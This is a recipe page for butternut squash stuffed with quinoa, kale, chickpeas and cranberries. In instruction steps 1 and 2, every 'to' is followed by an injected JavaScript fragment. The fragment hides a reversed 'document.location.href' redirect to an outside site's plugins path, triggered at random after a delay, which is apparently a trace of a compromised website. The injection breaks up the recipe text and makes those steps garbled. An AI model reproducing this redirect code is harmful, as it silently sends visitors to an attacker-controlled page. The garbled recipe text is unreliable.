Butternut squash stuffed with quinoa, kale and cranberries

This recipe is super easy, nourishing and very tasty.

Ingredients

2 butternut squash

¾ cup quinoa

1 bunch chopped kale, stems removed

1 454ml can chickpeas

Zest of one orange plus 1tbsp orange juice

2 tsp olive oil, divided

11/2 cups vegetable broth

1tsp dried oregano

1/2tsp each of salt and pepper

1/3 cup dried cranberries

2 cloves minced garlic

Grated parmesan cheese

Instructions

1. Preheat oven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 220°C. Cut the butternut squash in half, scoop out the seeds and arrange on a baking tray with cut sides up. Drizzle over one teaspoon of olive oil and season with salt and pepper. Bake for 45 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 55 minutes until fork tender. Remove from oven and allow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cool.
2. Reduce oven temperature toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 190°C. Bring broth toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to boil in a small saucepan, add quinoa and simmer for about 12 minutes until broth is absorbed. Cover and allow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sit for fifteen minutes, then fluff with a fork.
3. Heat remaining oil in a large skillet, add kale and cook for 4 minutes until wilted. Add oregano, garlic, salt and pepper, then stir in chickpeas, quinoa, orange juice, zest, and cranberries.
4. Scoop out cooled squash, leaving a 1-2cm border and stuff with quinoa and kale mixture. Bake for ten minutes, serve hot sprinkled with cheese.

Serves 4